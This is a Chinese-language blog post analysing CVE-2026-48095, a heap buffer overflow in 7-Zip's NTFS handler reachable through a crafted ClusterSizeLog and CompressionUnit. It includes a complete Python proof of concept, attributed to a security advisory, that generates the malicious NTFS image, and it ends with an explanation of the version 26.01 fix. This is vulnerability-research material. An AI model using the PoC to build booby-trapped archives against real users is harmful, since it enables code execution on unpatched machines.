mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4
1554 字
4 分钟
CVE-2026-48095漏洞分析
2026-06-07

CVE-2026-48095漏洞分析#

7-Zip NTFS处理器堆缓冲区溢出漏洞

参考:

https://dbugs.ptsecurity.com/vulnerability/CVE-2026-48095

https://x.com/ptdbugs/status/2059908934194872362

https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/

项目内容
漏洞编号CVE-2026-48095
漏洞等级高危
CVSS8.8
类型RCE
受影响版本7-Zip <= 26.00

漏洞原理#

漏洞存在于 7-Zip 处理 NTFS 卷映像文件的模块中。

在计算 NTFS 压缩单元缓冲区大小时,使用了(UInt32)1 << (BlockSizeLog + CompressionUnit)这条语句,攻击者可以将恶意NTFS镜像中的参数设置为ClusterSizeLog=28CompressionUnit=4,导致移位指数达到32位并触发C++未定义行为,最终使得实际分配的缓冲区仅1字节大小;但当程序后续解压数据时,会向这个过小的缓冲区持续写入最多256MB的攻击者可控数据,从而造成堆溢出并覆盖相邻内存中CInStream对象的虚函数表指针,当虚函数被调用时程序执行流便被劫持,最终实现任意代码执行。

受害者使用受影响版本的 7-Zip 打开恶意的压缩包文件(该文件可伪装成任何常见格式,甚至没有后缀),7-Zip 就会自动调用 NTFS 处理程序触发此漏洞,可能导致设备被植入恶意程序

分析7-zip源码:#

GetCuSize() 用于计算 NTFS Compression Unit 的实际大小,并据此为解压缓冲区 _inBuf 分配内存。该缓冲区用于存储 LZNT1 解压后的压缩单元数据。可以看到计算公式为: (UInt32)1 << (BlockSizeLog + CompressionUnit)

image-20260607103622188

在 NTFS 模块里,BlockSizeLogClusterSizeLog 实际上是同一个值的传递关系:

首先在 NTFS Header 解析时:

ClusterSizeLog = SectorSizeLog + sectorsPerClusterLog;

image-20260607104452025

含义:

ClusterSize = BytesPerSector × SectorsPerCluster
ClusterSizeLog = log2(ClusterSize)

然后在创建压缩流时:

ss->BlockSizeLog = clusterSizeLog;

image-20260607104558530

因此:

BlockSizeLogClusterSizeLog二者的数值相同

通过控制 NTFS Boot Sector 中的字段,攻击者可以让程序计算出特定的ClusterSizeLog

附:#

NTFS 不直接存 ClusterSize

而是存两个参数:BytesPerSectorSectorsPerCluster

然后通过这两个参数计算出ClusterSize:

ClusterSize = BytesPerSector × SectorsPerCluster

7-Zip 由于 NTFS 的值几乎总是 2 的幂:

512 = 2^9
1024 = 2^10
2048 = 2^11
4096 = 2^12

所以源码把:ClusterSize 变为 ClusterSizeLog = log2(ClusterSize)

例如:4096 = 2^12

所以:ClusterSizeLog = 12

7-zip需要知道一个Cluster有多大,因为后面解压 NTFS 压缩数据时要申请内存。

例如:Cluster Size = 4096,CompressionUnit = 4,表示16个Cluster组成一个压缩单元,那么压缩单元大小=4096 × 16=65536,即64KB。

于是程序申请64KB缓冲区用于解压数据。

攻击手法:#

BytesPerSector,SectorsPerCluster这两个字段位于 NTFS Boot Sector 中,攻击者可以构造NTFS镜像,修改NTFS元数据中BytesPerSector,SectorsPerCluster的值,从而控制ClusterSizeLog计算后的值(如ClusterSizeLog = 28)

而CompressionUnit字段来自 NTFS 的压缩属性(Attribute)字段,也可以被修改。(CompressionUnit = 4)

但是7-zip只接受CompressionUnit = 0 或 CompressionUnit = 4

image-20260607112837659

而在旧版本(以26.00为例)的源码中:

image-20260607111653579

也只允许ClusterSizeLog ≤ 30

因此攻击者手法为构造ClusterSizeLog = 28,CompressionUnit = 4后,

经过计算:

UInt32 GetCuSize() const
{
return (UInt32)1 << (BlockSizeLog + CompressionUnit);
}

就会得到: 1 << 32

(UInt32)1是一个 32 位无符号整数,有效位数为0 ~ 31,而32超出了类型宽度,触发C++未定义行为,在 x86 和 x64 架构上,未定义行为导致 _inBuf 被分配为 1 字节。但当程序后续解压数据时,会向这个过小的缓冲区持续写入最多256MB的攻击者可控数据,从而造成堆溢出并覆盖相邻内存中CInStream对象的虚函数表指针,当虚函数被调用时程序执行流便被劫持,最终实现任意代码执行。

漏洞复现#

创建镜像文件#

构造 ClusterSizeLog = 28#

NTFS文件格式: https://zh.wikipedia.org/zh-cn/NTFS

image-20260607123706381

可以发现的是要构造 ClusterSizeLog = 28,仅仅依靠常规 BytesPerSector × SectorsPerCluster 乘法逻辑是无法达到的。因为 SectorsPerCluster 只有一个字节(最大 255,合法 2 的幂最高为 2^7),而 BytesPerSector是两个字节(合法 2 的幂最高为 2^15),两者相乘对应的 ClusterSizeLog 最大只能到 22(15 + 7)。

这里必须利用 NTFS 规范(以及 7-Zip 源码中对应的解析逻辑)中的一个负数移位机制

NTFS 和 7-Zip 的大簇解析规则:#

为兼容如 Windows 10 引入的 2MB 等超大簇结构,NTFS 文件系统设计了一种特殊的解析机制。当 SectorsPerCluster 字段的值达到或超过 128(即 0x80 ~ 0xFF)时,该字段不再作为常规的扇区倍数进行计算,而是被转换为一个 8 位有符号负数,用来直接表示簇大小的绝对移位量。在 7-Zip 的源码中,针对该机制的解析实现如下:

image-20260607124819737

在偏移 0x0B 处,BytesPerSector00 02(即 512 字节),因此 SectorSizeLog = 9。 当 p[13](即 SectorsPerCluster)的值 >=128(十六进制 0x80)时,7-Zip 采用的实际计算公式为:

image-20260607125326499

将目标值 28 代入公式,得到237,对应十六进制0xED

当写入0xED 时,v 的值显然大于0x80,代码会跳入else分支。

在else分支中,程序执行了 0x100 - v 的运算。相当于将 0xED 看作一个 8 位有符号负数(-19)的绝对值(即 19)。

之后程序执行 SectorSizeLog + 19。由于 SectorSizeLog 为 9,最终 ClusterSizeLog 正好等于 9 + 19 = 28。

image-20260607130008472

构造CompressionUnit = 4#

CompressionUnit 位于“压缩的 $DATA Attribute(属性类型 0x80)内部”,在 Attribute Header 后的扩展字段区域中,仅当 Flags = 0x20(compressed)时才存在。

因此直接在内存中手工构造一个 NTFS $DATA attribute blob,并直接把 CompressionUnit 填成 4

POC#

生成NTFS 镜像。

来自: https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/

#!/usr/bin/env python3
"""Generate a sparse NTFS image with ClusterSizeLog=28 and a compressed
$DATA attribute with CompressionUnit=4 to trigger GetCuSize() UB."""
import struct, os, sys
boot = bytearray(512)
boot[0:3] = b'\xEB\x52\x90'
boot[3:11] = b'NTFS '
struct.pack_into('<H', boot, 11, 512)
boot[13] = 0xED # ClusterSizeLog = 28
for i in range(14, 21): boot[i] = 0
boot[21] = 0xF8
struct.pack_into('<H', boot, 24, 63)
struct.pack_into('<H', boot, 26, 255)
struct.pack_into('<Q', boot, 40, 2 << 19) # TotalSectors
struct.pack_into('<Q', boot, 48, 1) # MftCluster=1 -> offset 256MB
boot[64] = 0xF6
boot[68] = 0xF6
struct.pack_into('<Q', boot, 72, 0x1234567890ABCDEF)
boot[510] = 0x55; boot[511] = 0xAA
MFT_REC = 1024
def mft_rec(seq, flags, attrs, rec_num=0):
r = bytearray(MFT_REC)
r[0:4] = b'FILE'
struct.pack_into('<H', r, 4, 0x30) # UpdateSequenceOffset
struct.pack_into('<H', r, 6, 3) # UpdateSequenceSize
struct.pack_into('<Q', r, 8, 0)
struct.pack_into('<H', r, 16, seq)
struct.pack_into('<H', r, 18, 1)
struct.pack_into('<H', r, 20, 0x38)
struct.pack_into('<H', r, 22, flags)
bytes_in_use = (0x38 + len(attrs) + 8 + 7) & ~7
struct.pack_into('<I', r, 24, bytes_in_use)
struct.pack_into('<I', r, 28, MFT_REC)
struct.pack_into('<I', r, 0x2C, rec_num)
r[0x38:0x38+len(attrs)] = attrs
struct.pack_into('<I', r, 0x38+len(attrs), 0xFFFFFFFF)
usn = 0x0001
struct.pack_into('<H', r, 0x30, usn)
orig0 = struct.unpack_from('<H', r, 510)[0]
orig1 = struct.unpack_from('<H', r, 1022)[0]
struct.pack_into('<H', r, 0x32, orig0)
struct.pack_into('<H', r, 0x34, orig1)
struct.pack_into('<H', r, 510, usn)
struct.pack_into('<H', r, 1022, usn)
return r
def std_info():
d = bytearray(48)
a = bytearray(24 + len(d))
struct.pack_into('<I', a, 0, 0x10)
struct.pack_into('<I', a, 4, len(a))
a[8] = 0
struct.pack_into('<H', a, 14, 0x18)
struct.pack_into('<I', a, 16, len(d))
a[24:24+len(d)] = d
return a
def filename(name):
nu = name.encode('utf-16-le')
fn = bytearray(66 + len(nu))
struct.pack_into('<Q', fn, 0, 5)
fn[64] = len(name)
fn[65] = 3
fn[66:66+len(nu)] = nu
raw_len = 24 + len(fn)
padded_len = (raw_len + 7) & ~7
a = bytearray(padded_len)
struct.pack_into('<I', a, 0, 0x30)
struct.pack_into('<I', a, 4, padded_len)
a[8] = 0
struct.pack_into('<H', a, 14, 0x18)
struct.pack_into('<I', a, 16, len(fn))
a[24:24+len(fn)] = fn
return a
def compressed_data():
rl = bytes([0x11, 0x01, 0x01, 0x00]) # 1 cluster at LCN 1
hdr_size = 0x48
sz = (hdr_size + len(rl) + 7) & ~7
a = bytearray(sz)
struct.pack_into('<I', a, 0, 0x80)
struct.pack_into('<I', a, 4, sz)
a[8] = 1
struct.pack_into('<Q', a, 0x10, 0) # LowVcn
struct.pack_into('<Q', a, 0x18, 0) # HighVcn
struct.pack_into('<H', a, 0x20, hdr_size) # RunlistOffset
a[0x22] = 4 # CompressionUnit = 4
cs = 1 << 28
struct.pack_into('<Q', a, 0x28, cs) # AllocatedSize
struct.pack_into('<Q', a, 0x30, 100) # Size
struct.pack_into('<Q', a, 0x38, 100) # InitializedSize
struct.pack_into('<Q', a, 0x40, cs) # PackSize
a[hdr_size:hdr_size+len(rl)] = rl
return a
def mft_data_attr(num_records):
rl = bytes([0x11, 0x01, 0x01, 0x00])
sz = (72 + len(rl) + 7) & ~7
a = bytearray(sz)
struct.pack_into('<I', a, 0, 0x80)
struct.pack_into('<I', a, 4, sz)
a[8] = 1
struct.pack_into('<Q', a, 16, 0)
struct.pack_into('<Q', a, 24, 0)
struct.pack_into('<H', a, 32, 0x40)
struct.pack_into('<H', a, 34, 0) # CompressionUnit = 0
data_size = num_records * MFT_REC
struct.pack_into('<Q', a, 40, 1 << 28)
struct.pack_into('<Q', a, 48, data_size)
struct.pack_into('<Q', a, 56, data_size)
a[0x40:0x40+len(rl)] = rl
return a
num_mft_records = 7
mft = mft_rec(1, 1, std_info() + mft_data_attr(num_mft_records), rec_num=0)
for i in range(1, 5):
mft += mft_rec(i+1, 1, std_info(), rec_num=i)
mft += mft_rec(1, 3, std_info(), rec_num=5) # root dir
mft += mft_rec(1, 1, std_info() + filename("test.txt") + compressed_data(), rec_num=6)
mft_off = 1 << 28 # 256 MB
phy_size = 2 << 28 # 512 MB
out = sys.argv[1] if len(sys.argv) > 1 else "poc_ntfs_sparse.ntfs"
with open(out, 'wb') as f:
f.write(boot)
f.seek(mft_off)
f.write(mft)
f.seek(phy_size - 1)
f.write(b'\x00')
print(f"Generated: {out} ({os.stat(out).st_size} bytes apparent)")

修复原理#

对比官方旧版本26.00与新版本26.01源码:

可以发现:

image-20260607114012182

修复版本将 ClusterSizeLog 上限从 30 降低至 21,而CompressionUnit只等于0或4,确保了在任何情况下 BlockSizeLog + CompressionUnit 的最大值仅为 25,始终小于 32 位整数的位宽,避免了危险移位、错误内存分配以及后续堆缓冲区溢出问题。

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

CVE-2026-48095漏洞分析
http://czxh.top/posts/cve-2026-48095复现/
作者
Mitunlny
发布于
2026-06-07
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录